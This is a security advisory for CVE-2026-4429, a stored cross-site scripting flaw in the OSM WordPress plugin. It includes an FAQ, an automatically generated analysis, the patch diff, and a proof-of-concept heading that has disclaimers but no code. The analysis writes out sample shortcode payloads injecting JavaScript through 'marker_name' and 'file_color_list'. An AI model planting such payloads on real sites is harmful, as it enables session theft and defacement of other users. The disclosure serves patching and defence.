What is CVE-2026-4429?

CVE-2026-4429 is a stored cross-site scripting (XSS) vulnerability in the OSM plugin for WordPress. It allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into pages via the ‘marker_name’ and ‘file_color_list’ shortcode attributes.

How does this vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in the OSM plugin. Attackers can use the [osm_map_v3] shortcode to include malicious scripts that execute when other users view the affected pages.

Who is affected by CVE-2026-4429?

Any WordPress site using the OSM plugin version 6.1.15 or earlier is affected. This includes sites where users with Contributor-level access can create or edit posts containing the vulnerable shortcode.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the installed version of the OSM plugin in your WordPress admin panel. If it is version 6.1.15 or earlier, your site is at risk.

How can I fix CVE-2026-4429?

The vulnerability has been patched in version 6.1.16 of the OSM plugin. Updating to this version or later will mitigate the risk associated with this vulnerability.

What if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the OSM plugin until you can apply the patch. Additionally, restrict access to Contributor-level users or higher to prevent exploitation.

What is the risk level of CVE-2026-4429?

CVE-2026-4429 has a CVSS score of 6.4, indicating a medium severity vulnerability. This means while it is not the highest risk, it can still lead to significant issues if exploited, including session hijacking and website defacement.

How does the proof of concept demonstrate the issue?

The proof of concept shows how an authenticated user can create a post with a malicious shortcode that includes a JavaScript payload. When another user views this post, the script executes, demonstrating the potential impact of the vulnerability.

What are the consequences of exploitation?

Successful exploitation can allow attackers to execute scripts in the context of the victim’s browser. This could lead to stealing session cookies, performing unauthorized actions, or redirecting users to malicious sites.

What are 'marker_name' and 'file_color_list'?

‘marker_name’ and ‘file_color_list’ are attributes of the [osm_map_v3] shortcode used in the OSM plugin. They are intended for customizing map markers and colors but lack proper validation, leading to the XSS vulnerability.

What security improvements were made in the patch?

The patch in version 6.1.16 includes input validation for the ‘marker_name’ attribute and output escaping for the ‘file_color_list’ parameter. This prevents malicious input from being processed and displayed.

How can I stay informed about vulnerabilities like this?

Regularly check security advisory websites, subscribe to WordPress security newsletters, and monitor plugin updates. Implementing a security plugin can also help detect vulnerabilities and provide alerts.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : April 19, 2026

CVE-2026-4429: OSM <= 6.1.15 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'marker_name' Shortcode Attribute (osm)

CVE ID CVE-2026-4429

Plugin osm

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 6.1.15

Patched Version 6.1.16

Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4429:
The OSM WordPress plugin, versions up to and including 6.1.15, contains an authenticated stored cross-site scripting (XSS) vulnerability. This vulnerability affects the plugin’s [osm_map_v3] shortcode via the ‘marker_name’ and ‘file_color_list’ attributes. Attackers with Contributor-level access or higher can inject arbitrary JavaScript payloads that execute when a user views a page containing the malicious shortcode.

Atomic Edge research identified the root cause as insufficient input sanitization and output escaping in the plugin’s icon handling logic. The vulnerable code resides in the setIcon method of the OSM_Icon class within osm/osm-icon-class.php. This method directly assigns user-supplied input from the ‘marker_name’ shortcode attribute to the icon_name property without proper validation. The plugin then outputs this value without escaping in the generated HTML. The file_color_list parameter in osm/osm_map_v3/osm-sc-osm_map_v3.php also lacked proper sanitization before being output in style attributes.

Exploitation requires an authenticated attacker with at least Contributor privileges to create or edit a post containing the [osm_map_v3] shortcode. The attacker injects a JavaScript payload via the marker_name attribute, for example: [osm_map_v3 marker_name=”alert(document.domain)”]. For the file_color_list attribute, the attacker can inject via: [osm_map_v3 file_color_list=”red; javascript:alert(1)”]. When a victim views the post, the malicious script executes in their browser context.

The patch in version 6.1.16 introduces multiple security improvements. In osm/osm-icon-class.php, the setIcon method now validates the icon name through a new resolveIconUrl function. This function performs strict regex validation (preg_match(‘#^[a-zA-Z0-9/_\.\-]+$#’)) and file extension checks. The plugin also adds output escaping for the file_color_list parameter in osm/osm_map_v3/osm-sc-osm_map_v3.php using esc_attr(). The patch changes the default behavior to reject malformed input and fall back to a safe default icon.

Successful exploitation allows attackers to perform actions within the victim’s WordPress session. This includes stealing session cookies, performing administrative actions on behalf of the user, defacing websites, or redirecting users to malicious sites. The stored nature means the payload executes for every visitor to the compromised page, potentially affecting all site users including administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/osm/osm-icon-class.php
+++ b/osm/osm-icon-class.php
@@ -1,5 +1,5 @@
 <?php
-/*  (c) Copyright 2021  Michael Kang (wp-osm-plugin.Hyumika.com)
+/*  (c) Copyright 2026  Michael Kang (wp-osm-plugin.Hyumika.com)

     This program is free software; you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
@@ -113,109 +113,104 @@
     $a_IconName == "mic_green_restaurant_02.png" || $a_IconName == "mic_green_hut_01.png" ||
     $a_IconName == "mic_green_tent_01.png" || $a_IconName == "mic_blue_ski_tour_01.png" ||
     $a_IconName == "mic_green_hut_02.png" || $a_IconName == "mic_green_caravan_01.png" ||
-$a_IconName == "mic_black_acupuncture_10.png" || $a_IconName == "mic_black_airline_10.png" ||
-$a_IconName == "mic_black_airport_10.png" || $a_IconName == "mic_black_archery_10.png" ||
-$a_IconName == "mic_black_area51_10.png" || $a_IconName == "mic_black_atom_10.png" ||
-$a_IconName == "mic_black_badmint_10.png" || $a_IconName == "mic_black_balloon_10.png" ||
-$a_IconName == "mic_black_bar_10.png" || $a_IconName == "mic_black_bank_10.png" ||
-$a_IconName == "mic_black_barrierfree_10.png" || $a_IconName == "mic_black_barbe_10.png" ||
-$a_IconName == "mic_black_basketb_10.png" || $a_IconName == "mic_black_baseball_10.png" ||
-$a_IconName == "mic_black_beer_10.png" || $a_IconName == "mic_black_beach_10.png" ||
-$a_IconName == "mic_black_boatbridge_10.png" || $a_IconName == "mic_black_bicycle_10.png" ||
-$a_IconName == "mic_black_boxing_10.png" || $a_IconName == "mic_black_border_10.png" ||
-$a_IconName == "mic_black_bridge_10.png" || $a_IconName == "mic_black_brental_10.png" ||
-$a_IconName == "mic_black_bus_10.png" || $a_IconName == "mic_black_building_10.png" ||
-$a_IconName == "mic_black_camp_10.png" || $a_IconName == "mic_black_busstop_10.png" ||
-$a_IconName == "mic_black_camp_11.png" || $a_IconName == "mic_black_camp_12.png" ||
-$a_IconName == "mic_black_cardmoney_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
-$a_IconName == "mic_black_carno_10.png" || $a_IconName == "mic_black_carnival_10.png" ||
-$a_IconName == "mic_black_cars_10.png" || $a_IconName == "mic_black_ccski_10.png" ||
-$a_IconName == "mic_black_cemetary_10.png" || $a_IconName == "mic_black_champ_10.png" ||
-$a_IconName == "mic_black_charger_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
-$a_IconName == "mic_black_chess_10.png" || $a_IconName == "mic_black_check_10.png" ||
-$a_IconName == "mic_black_cinema_10.png" || $a_IconName == "mic_black_chute_10.png" ||
-$a_IconName == "mic_black_climbing_10.png" || $a_IconName == "mic_black_citytrain_10.png" ||
-$a_IconName == "mic_black_coffeshop_10.png" || $a_IconName == "mic_black_climbing_11.png" ||
-$a_IconName == "mic_green_hut_02.png" || $a_IconName == "mic_black_congress_10.png" ||
-$a_IconName == "mic_black_court_10.png" || $a_IconName == "mic_black_crisisarea_10.png" ||
-$a_IconName == "mic_black_cross_10.png" || $a_IconName == "mic_black_crossbike_10.png" ||
-$a_IconName == "mic_black_crossbike2_10.png" || $a_IconName == "mic_black_crossing_10.png" ||
-$a_IconName == "mic_black_cycling_10.png" || $a_IconName == "mic_black_darling_10.png" ||
-$a_IconName == "mic_black_desert_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
-$a_IconName == "mic_black_diver_10.png" || $a_IconName == "mic_black_diver2_10.png" ||
-$a_IconName == "mic_black_doc_10.png" || $a_IconName == "mic_black_drinkwater_10.png" ||
-$a_IconName == "mic_black_drone_10.png" || $a_IconName == "mic_black_embassy_10.png" ||
-$a_IconName == "mic_black_energy_10.png" || $a_IconName == "mic_black_fasting_10.png" ||
-$a_IconName == "mic_black_ferry_10.png" || $a_IconName == "mic_black_firstaid_10.png" ||
-$a_IconName == "mic_black_fishing_10.png" || $a_IconName == "mic_black_flowers_10.png" ||
-$a_IconName == "mic_black_football_10.png" || $a_IconName == "mic_black_forbidden_10.png" ||
-$a_IconName == "mic_black_forbidden_11.png" || $a_IconName == "mic_black_funpark_10.png" ||
-$a_IconName == "mic_black_g10088_10.png" || $a_IconName == "mic_black_g21090_10.png" ||
-$a_IconName == "mic_black_g6269_10.png" || $a_IconName == "mic_black_gasstation_10.png" ||
-$a_IconName == "mic_black_geocaching_10.png" || $a_IconName == "mic_black_goal_10.png" ||
-$a_IconName == "mic_black_godhouse_10.png" || $a_IconName == "mic_black_graffity_10.png" ||
-$a_IconName == "mic_black_grandprix_10.png" || $a_IconName == "mic_black_handball_10.png" ||
-$a_IconName == "mic_black_harbor_10.png" || $a_IconName == "mic_black_hardrock_10.png" ||
-$a_IconName == "mic_black_healer_10.png" || $a_IconName == "mic_black_helicopter_10.png" ||
-$a_IconName == "mic_black_highschool_10.png" || $a_IconName == "mic_black_highway_10.png" ||
-$a_IconName == "mic_black_hockey_10.png" || $a_IconName == "mic_black_hospital_10.png" ||
-$a_IconName == "mic_black_hut_10.png" || $a_IconName == "mic_black_hymering_10.png" ||
-$a_IconName == "mic_black_icefish_10.png" || $a_IconName == "mic_black_icehok_10.png" ||
-$a_IconName == "mic_black_iceskate_10.png" || $a_IconName == "mic_black_industry_10.png" ||
-$a_IconName == "mic_black_infopoint_10.png" || $a_IconName == "mic_black_jailhouse_10.png" ||
-$a_IconName == "mic_black_library_10.png" || $a_IconName == "mic_black_light_10.png" ||
-$a_IconName == "mic_black_limit_10.png" || $a_IconName == "mic_black_marathon_10.png" ||
-$a_IconName == "mic_black_market_10.png" || $a_IconName == "mic_black_military_10.png" ||
-$a_IconName == "mic_black_mobile_10.png" || $a_IconName == "mic_black_monument_10.png" ||
-$a_IconName == "mic_black_monument_10.png" || $a_IconName == "mic_black_mosque_10.png" ||
-$a_IconName == "mic_black_museum_10.png" || $a_IconName == "mic_black_nardicwalk_10.png" ||
-$a_IconName == "mic_black_nature_10.png" || $a_IconName == "mic_black_netcoffee_10.png" ||
-$a_IconName == "mic_black_nicolastation_10.png" || $a_IconName == "mic_black_nodrone_10.png" ||
-$a_IconName == "mic_black_noenergy_10.png" || $a_IconName == "mic_black_nolan_10.png" ||
-$a_IconName == "mic_black_nolight_10.png" || $a_IconName == "mic_black_nomobile_10.png" ||
-$a_IconName == "mic_black_nudebeach_10.png" || $a_IconName == "mic_black_observ_10.png" ||
-$a_IconName == "mic_black_olymp_10.png" || $a_IconName == "mic_black_olymp2_10.png" ||
-$a_IconName == "mic_black_olymphouse_10.png" || $a_IconName == "mic_black_paraglide_10.png" ||
-$a_IconName == "mic_black_parking_10.png" || $a_IconName == "mic_black_parkride_10.png" ||
-$a_IconName == "mic_black_pharmacy_10.png" || $a_IconName == "mic_black_playyard_10.png" ||
-$a_IconName == "mic_black_police_10.png" || $a_IconName == "mic_black_postoffice_10.png" ||
-$a_IconName == "mic_black_pov_10.png" || $a_IconName == "mic_black_pubview_10.png" ||
-$a_IconName == "mic_black_radiotele_10.png" || $a_IconName == "mic_black_railroad_10.png" ||
-$a_IconName == "mic_black_rambler_10.png" || $a_IconName == "mic_black_redlight_10.png" ||
-$a_IconName == "mic_black_remote_10.png" || $a_IconName == "mic_black_rent_10.png" ||
-$a_IconName == "mic_black_rentbike_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
-$a_IconName == "mic_black_rescheli_10.png" || $a_IconName == "mic_black_renting_10.png" ||
-$a_IconName == "mic_black_ride_10.png" || $a_IconName == "mic_black_restaurant_10.png" ||
-$a_IconName == "mic_black_ropeway_10.png" || $a_IconName == "mic_black_roller_10.png" ||
-$a_IconName == "mic_black_sail_10.png" || $a_IconName == "mic_black_runner_10.png" ||
-$a_IconName == "mic_black_sailing2_10.png" || $a_IconName == "mic_black_science_10.png" ||
-$a_IconName == "mic_black_seaworld_10.png" || $a_IconName == "mic_black_service_10.png" ||
-$a_IconName == "mic_black_shopping_10.png" || $a_IconName == "mic_black_skatboard_10.png" ||
-$a_IconName == "mic_black_skijump_10.png" || $a_IconName == "mic_black_smoker_10.png" ||
-$a_IconName == "mic_black_snow_10.png" || $a_IconName == "mic_black_spotfield_10.png" ||
-$a_IconName == "mic_black_start_10.png" || $a_IconName == "mic_black_stop_10.png" ||
-$a_IconName == "mic_black_sub_10.png" || $a_IconName == "mic_black_subway_10.png" ||
-$a_IconName == "mic_black_surfer_10.png" || $a_IconName == "mic_black_survival_10.png" ||
-$a_IconName == "mic_black_swimmer_10.png" || $a_IconName == "mic_black_table_10.png" ||
-$a_IconName == "mic_black_tennis_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
-$a_IconName == "mic_black_tomb_10.png" || $a_IconName == "mic_black_theater_10.png" ||
-$a_IconName == "mic_black_townhall_10.png" || $a_IconName == "mic_black_train_10.png" ||
-$a_IconName == "mic_black_triathlon_10.png" || $a_IconName == "mic_black_turbine_10.png" ||
-$a_IconName == "mic_black_undergr_10.png" || $a_IconName == "mic_black_walker_10.png" ||
-$a_IconName == "mic_black_wastewater_10.png" || $a_IconName == "mic_black_waterball_10.png" ||
-$a_IconName == "mic_black_waterhole_10.png" || $a_IconName == "mic_black_waters_10.png" ||
-$a_IconName == "mic_black_wifi_10.png" || $a_IconName == "mic_black_wifino_10.png" ||
-$a_IconName == "mic_black_windsurf_10.png" || $a_IconName == "mic_black_wine_10.png" ||
-$a_IconName == "mic_black_xgames_10.png" || $a_IconName == "mic_black_xgames_11.png" ||
-$a_IconName == "mic_black_yoga_10.png" || $a_IconName == "mic_black_youthhostel_10.png" ||
-$a_IconName == "mic_black_zoo_10.png" || $a_IconName == "mic_black_soccer_10.png" ||
-$a_IconName == "mic_gold_stolperstein-L.png" || $a_IconName == "mic_grey_stolperstein_L.png" ||
-$a_IconName == "mic_grey_stolperstein_M.png"
-
-
-
-
-
+    $a_IconName == "mic_black_acupuncture_10.png" || $a_IconName == "mic_black_airline_10.png" ||
+    $a_IconName == "mic_black_airport_10.png" || $a_IconName == "mic_black_archery_10.png" ||
+    $a_IconName == "mic_black_area51_10.png" || $a_IconName == "mic_black_atom_10.png" ||
+    $a_IconName == "mic_black_badmint_10.png" || $a_IconName == "mic_black_balloon_10.png" ||
+    $a_IconName == "mic_black_bar_10.png" || $a_IconName == "mic_black_bank_10.png" ||
+    $a_IconName == "mic_black_barrierfree_10.png" || $a_IconName == "mic_black_barbe_10.png" ||
+    $a_IconName == "mic_black_basketb_10.png" || $a_IconName == "mic_black_baseball_10.png" ||
+    $a_IconName == "mic_black_beer_10.png" || $a_IconName == "mic_black_beach_10.png" ||
+    $a_IconName == "mic_black_boatbridge_10.png" || $a_IconName == "mic_black_bicycle_10.png" ||
+    $a_IconName == "mic_black_boxing_10.png" || $a_IconName == "mic_black_border_10.png" ||
+    $a_IconName == "mic_black_bridge_10.png" || $a_IconName == "mic_black_brental_10.png" ||
+    $a_IconName == "mic_black_bus_10.png" || $a_IconName == "mic_black_building_10.png" ||
+    $a_IconName == "mic_black_camp_10.png" || $a_IconName == "mic_black_busstop_10.png" ||
+    $a_IconName == "mic_black_camp_11.png" || $a_IconName == "mic_black_camp_12.png" ||
+    $a_IconName == "mic_black_cardmoney_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
+    $a_IconName == "mic_black_carno_10.png" || $a_IconName == "mic_black_carnival_10.png" ||
+    $a_IconName == "mic_black_cars_10.png" || $a_IconName == "mic_black_ccski_10.png" ||
+    $a_IconName == "mic_black_cemetary_10.png" || $a_IconName == "mic_black_champ_10.png" ||
+    $a_IconName == "mic_black_charger_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
+    $a_IconName == "mic_black_chess_10.png" || $a_IconName == "mic_black_check_10.png" ||
+    $a_IconName == "mic_black_cinema_10.png" || $a_IconName == "mic_black_chute_10.png" ||
+    $a_IconName == "mic_black_climbing_10.png" || $a_IconName == "mic_black_citytrain_10.png" ||
+    $a_IconName == "mic_black_coffeshop_10.png" || $a_IconName == "mic_black_climbing_11.png" ||
+    $a_IconName == "mic_green_hut_02.png" || $a_IconName == "mic_black_congress_10.png" ||
+    $a_IconName == "mic_black_court_10.png" || $a_IconName == "mic_black_crisisarea_10.png" ||
+    $a_IconName == "mic_black_cross_10.png" || $a_IconName == "mic_black_crossbike_10.png" ||
+    $a_IconName == "mic_black_crossbike2_10.png" || $a_IconName == "mic_black_crossing_10.png" ||
+    $a_IconName == "mic_black_cycling_10.png" || $a_IconName == "mic_black_darling_10.png" ||
+    $a_IconName == "mic_black_desert_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
+    $a_IconName == "mic_black_diver_10.png" || $a_IconName == "mic_black_diver2_10.png" ||
+    $a_IconName == "mic_black_doc_10.png" || $a_IconName == "mic_black_drinkwater_10.png" ||
+    $a_IconName == "mic_black_drone_10.png" || $a_IconName == "mic_black_embassy_10.png" ||
+    $a_IconName == "mic_black_energy_10.png" || $a_IconName == "mic_black_fasting_10.png" ||
+    $a_IconName == "mic_black_ferry_10.png" || $a_IconName == "mic_black_firstaid_10.png" ||
+    $a_IconName == "mic_black_fishing_10.png" || $a_IconName == "mic_black_flowers_10.png" ||
+    $a_IconName == "mic_black_football_10.png" || $a_IconName == "mic_black_forbidden_10.png" ||
+    $a_IconName == "mic_black_forbidden_11.png" || $a_IconName == "mic_black_funpark_10.png" ||
+    $a_IconName == "mic_black_g10088_10.png" || $a_IconName == "mic_black_g21090_10.png" ||
+    $a_IconName == "mic_black_g6269_10.png" || $a_IconName == "mic_black_gasstation_10.png" ||
+    $a_IconName == "mic_black_geocaching_10.png" || $a_IconName == "mic_black_goal_10.png" ||
+    $a_IconName == "mic_black_godhouse_10.png" || $a_IconName == "mic_black_graffity_10.png" ||
+    $a_IconName == "mic_black_grandprix_10.png" || $a_IconName == "mic_black_handball_10.png" ||
+    $a_IconName == "mic_black_harbor_10.png" || $a_IconName == "mic_black_hardrock_10.png" ||
+    $a_IconName == "mic_black_healer_10.png" || $a_IconName == "mic_black_helicopter_10.png" ||
+    $a_IconName == "mic_black_highschool_10.png" || $a_IconName == "mic_black_highway_10.png" ||
+    $a_IconName == "mic_black_hockey_10.png" || $a_IconName == "mic_black_hospital_10.png" ||
+    $a_IconName == "mic_black_hut_10.png" || $a_IconName == "mic_black_hymering_10.png" ||
+    $a_IconName == "mic_black_icefish_10.png" || $a_IconName == "mic_black_icehok_10.png" ||
+    $a_IconName == "mic_black_iceskate_10.png" || $a_IconName == "mic_black_industry_10.png" ||
+    $a_IconName == "mic_black_infopoint_10.png" || $a_IconName == "mic_black_jailhouse_10.png" ||
+    $a_IconName == "mic_black_library_10.png" || $a_IconName == "mic_black_light_10.png" ||
+    $a_IconName == "mic_black_limit_10.png" || $a_IconName == "mic_black_marathon_10.png" ||
+    $a_IconName == "mic_black_market_10.png" || $a_IconName == "mic_black_military_10.png" ||
+    $a_IconName == "mic_black_mobile_10.png" || $a_IconName == "mic_black_monument_10.png" ||
+    $a_IconName == "mic_black_monument_10.png" || $a_IconName == "mic_black_mosque_10.png" ||
+    $a_IconName == "mic_black_museum_10.png" || $a_IconName == "mic_black_nardicwalk_10.png" ||
+    $a_IconName == "mic_black_nature_10.png" || $a_IconName == "mic_black_netcoffee_10.png" ||
+    $a_IconName == "mic_black_nicolastation_10.png" || $a_IconName == "mic_black_nodrone_10.png" ||
+    $a_IconName == "mic_black_noenergy_10.png" || $a_IconName == "mic_black_nolan_10.png" ||
+    $a_IconName == "mic_black_nolight_10.png" || $a_IconName == "mic_black_nomobile_10.png" ||
+    $a_IconName == "mic_black_nudebeach_10.png" || $a_IconName == "mic_black_observ_10.png" ||
+    $a_IconName == "mic_black_olymp_10.png" || $a_IconName == "mic_black_olymp2_10.png" ||
+    $a_IconName == "mic_black_olymphouse_10.png" || $a_IconName == "mic_black_paraglide_10.png" ||
+    $a_IconName == "mic_black_parking_10.png" || $a_IconName == "mic_black_parkride_10.png" ||
+    $a_IconName == "mic_black_pharmacy_10.png" || $a_IconName == "mic_black_playyard_10.png" ||
+    $a_IconName == "mic_black_police_10.png" || $a_IconName == "mic_black_postoffice_10.png" ||
+    $a_IconName == "mic_black_pov_10.png" || $a_IconName == "mic_black_pubview_10.png" ||
+    $a_IconName == "mic_black_radiotele_10.png" || $a_IconName == "mic_black_railroad_10.png" ||
+    $a_IconName == "mic_black_rambler_10.png" || $a_IconName == "mic_black_redlight_10.png" ||
+    $a_IconName == "mic_black_remote_10.png" || $a_IconName == "mic_black_rent_10.png" ||
+    $a_IconName == "mic_black_rentbike_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
+    $a_IconName == "mic_black_rescheli_10.png" || $a_IconName == "mic_black_renting_10.png" ||
+    $a_IconName == "mic_black_ride_10.png" || $a_IconName == "mic_black_restaurant_10.png" ||
+    $a_IconName == "mic_black_ropeway_10.png" || $a_IconName == "mic_black_roller_10.png" ||
+    $a_IconName == "mic_black_sail_10.png" || $a_IconName == "mic_black_runner_10.png" ||
+    $a_IconName == "mic_black_sailing2_10.png" || $a_IconName == "mic_black_science_10.png" ||
+    $a_IconName == "mic_black_seaworld_10.png" || $a_IconName == "mic_black_service_10.png" ||
+    $a_IconName == "mic_black_shopping_10.png" || $a_IconName == "mic_black_skatboard_10.png" ||
+    $a_IconName == "mic_black_skijump_10.png" || $a_IconName == "mic_black_smoker_10.png" ||
+    $a_IconName == "mic_black_snow_10.png" || $a_IconName == "mic_black_spotfield_10.png" ||
+    $a_IconName == "mic_black_start_10.png" || $a_IconName == "mic_black_stop_10.png" ||
+    $a_IconName == "mic_black_sub_10.png" || $a_IconName == "mic_black_subway_10.png" ||
+    $a_IconName == "mic_black_surfer_10.png" || $a_IconName == "mic_black_survival_10.png" ||
+    $a_IconName == "mic_black_swimmer_10.png" || $a_IconName == "mic_black_table_10.png" ||
+    $a_IconName == "mic_black_tennis_10.png" || $a_IconName == "mic_green_caravan_01.png" ||
+    $a_IconName == "mic_black_tomb_10.png" || $a_IconName == "mic_black_theater_10.png" ||
+    $a_IconName == "mic_black_townhall_10.png" || $a_IconName == "mic_black_train_10.png" ||
+    $a_IconName == "mic_black_triathlon_10.png" || $a_IconName == "mic_black_turbine_10.png" ||
+    $a_IconName == "mic_black_undergr_10.png" || $a_IconName == "mic_black_walker_10.png" ||
+    $a_IconName == "mic_black_wastewater_10.png" || $a_IconName == "mic_black_waterball_10.png" ||
+    $a_IconName == "mic_black_waterhole_10.png" || $a_IconName == "mic_black_waters_10.png" ||
+    $a_IconName == "mic_black_wifi_10.png" || $a_IconName == "mic_black_wifino_10.png" ||
+    $a_IconName == "mic_black_windsurf_10.png" || $a_IconName == "mic_black_wine_10.png" ||
+    $a_IconName == "mic_black_xgames_10.png" || $a_IconName == "mic_black_xgames_11.png" ||
+    $a_IconName == "mic_black_yoga_10.png" || $a_IconName == "mic_black_youthhostel_10.png" ||
+    $a_IconName == "mic_black_zoo_10.png" || $a_IconName == "mic_black_soccer_10.png" ||
+    $a_IconName == "mic_gold_stolperstein-L.png" || $a_IconName == "mic_grey_stolperstein_L.png" ||
+    $a_IconName == "mic_grey_stolperstein_M.png"
 ){
     return true;
    }
@@ -223,6 +218,61 @@
     return false;
    }
  }
+
+
+private function resolveIconUrl($raw_icon_name)
+{
+    error_log('--- resolveIconUrl START ---');
+    error_log('raw input: ' . print_r($raw_icon_name, true));
+
+    $raw_icon_name = trim((string) wp_unslash($raw_icon_name));
+    error_log('normalized input: ' . $raw_icon_name);
+
+    if ($raw_icon_name === '') {
+        error_log('FAILED: empty input');
+        return false;
+    }
+
+    if (!preg_match('#^[a-zA-Z0-9/_.-]+$#', $raw_icon_name)) {
+        error_log('FAILED: regex check');
+        return false;
+    }
+
+    if (!preg_match('#.(png|jpg|jpeg|gif|svg)$#i', $raw_icon_name)) {
+        error_log('FAILED: extension check');
+        return false;
+    }
+
+    // Versuch 1
+    $candidate = realpath(OSM_PLUGIN_URL. 'icons/' . $raw_icon_name);
+    error_log('candidate 1: ' . print_r($candidate, true));
+
+    if ($candidate !== false && is_file($candidate)) {
+        error_log('SUCCESS: candidate 1');
+        return plugins_url(basename($candidate), OSM_PLUGIN_FILE);
+    }
+
+    // Versuch 2 (Legacy)
+    $normalized = ltrim($raw_icon_name, '/');
+    $wp_content_pos = strpos($normalized, 'wp-content/');
+
+    if ($wp_content_pos !== false) {
+        $normalized = substr($normalized, $wp_content_pos);
+        $candidate = realpath(ABSPATH . $normalized);
+
+        error_log('candidate 2: ' . print_r($candidate, true));
+
+        if ($candidate !== false && is_file($candidate)) {
+            error_log('SUCCESS: candidate 2');
+            $relative = ltrim(substr($candidate, strlen(WP_CONTENT_DIR)), '/');
+            return content_url($relative);
+        }
+    }
+
+    error_log('FAILED: no valid path found');
+    return false;
+}
+

 private function setIconsize($a_IconName, $a_IconHeight = -1, $a_IconWidth = -1, $a_IconFocus = -1){
    Osm::traceText(DEBUG_INFO, "[setIconsize]: Name: ". $a_IconName." Height: ".$a_IconHeight."Width: ".$a_IconWidth." Focus: ".$a_IconFocus);
@@ -337,14 +387,29 @@
 //Osm::traceText(DEBUG_ERROR, "width: ". $this->icon_offset_width);
 }

-  public function setIcon($a_IconName = 'mic_blue_pinother_02.png', $a_IconHeight = -1, $a_IconWidth = -1, $a_IconFocus = -1)
-  {
-    if ($a_IconName == 'NoName'){
-      $a_IconName = 'mic_blue_pinother_02.png';
+public function setIcon($a_IconName = 'mic_blue_pinother_02.png', $a_IconHeight = -1, $a_IconWidth = -1, $a_IconFocus = -1)
+{
+    $a_IconName = trim((string) $a_IconName);
+
+    if ($a_IconName === '' || $a_IconName === 'NoName') {
+        $a_IconName = 'mic_blue_pinother_02.png';
     }
+
     $this->icon_name = $this->replaceOldIcon($a_IconName);
+
+    if ($this->isOsmIcon($this->icon_name)) {
+        $resolved_url = OSM_PLUGIN_URL . 'icons/' . ltrim($this->icon_name, '/');
+    } else {
+        $resolved_url = $this->resolveIconUrl($this->icon_name);
+    }
+
+    if ($resolved_url === false) {
+        $this->icon_name = 'mic_blue_pinother_02.png';
+        $resolved_url    = OSM_PLUGIN_URL . 'icons/' . $this->icon_name;
+    }
+
+    $this->icon_URL = $resolved_url;
     $this->setIconsize($this->icon_name, $a_IconHeight, $a_IconWidth, $a_IconFocus);
-    $this->icon_URL = OSM_PLUGIN_ICONS_URL.$this->icon_name;
 }

 public function __construct($a_IconName = 'mic_blue_pinother_02.png', $a_IconHeight = -1, $a_IconWidth = -1, $a_IconFocus = -1){
--- a/osm/osm.php
+++ b/osm/osm.php
@@ -3,7 +3,7 @@
 Plugin Name: OSM
 Plugin URI: https://wp-osm-plugin.hyumika.com
 Description: Embeds maps in your blog and adds geo data to your posts.  Find samples and a forum on the <a href="https://wp-osm-plugin.hyumika.com">OSM plugin page</a>.
-Version: 6.1.15
+Version: 6.1.16
 Author: MiKa
 Author URI: http://www.hyumika.com
 Minimum WordPress Version Required: 3.0
@@ -26,7 +26,7 @@
     Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

-define ("PLUGIN_VER", "V6.1.15");
+define ("PLUGIN_VER", "V6.1.16");

 // modify anything about the marker for tagged posts here
 // instead of the coding.
--- a/osm/osm_map_v3/osm-sc-osm_map_v3.php
+++ b/osm/osm_map_v3/osm-sc-osm_map_v3.php
@@ -258,7 +258,19 @@
 			$NumOfGpxKmlFiles = 0;

 			if ($file_color_list != 'NoColor') {
-				$FileColorListArray = explode(',', $file_color_list);
+				$colors = explode(',', (string) wp_unslash($file_color_list));
+                                foreach ($colors as $color) {
+                                  $color = sanitize_text_field($color);
+                                  $color = trim(strtolower($color));
+
+                                  if (preg_match('/^#([a-f0-9]{3}|[a-f0-9]{6})$/', $color) ||  preg_match('/^[a-z]+$/', $color) ) {
+                                        $FileColorListArray[] = $color;
+                                      } else {
+                                         Osm::traceText(DEBUG_ERROR, "file_color_list invalid: " . $color);
+                                         $FileColorListArray[0] = 'NoColor';
+                                      }
+                                 }
+
 			} else {
 				$FileColorListArray[0] = 'NoColor';
 			}
@@ -291,7 +303,7 @@


 					if (!empty($FileColorListArray[$key])) {
-						$output .= '<span class="layerColor layerColorHidden" style="background-color:'  . $FileColorListArray[$key] . '"></span>';
+						$output .= '<span class="layerColor layerColorHidden" style="background-color:'  . esc_attr($FileColorListArray[$key]) . '"></span>';
 					}

 					$output .= '<span class="padding1em">' . trim($val) . '</span></span>';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
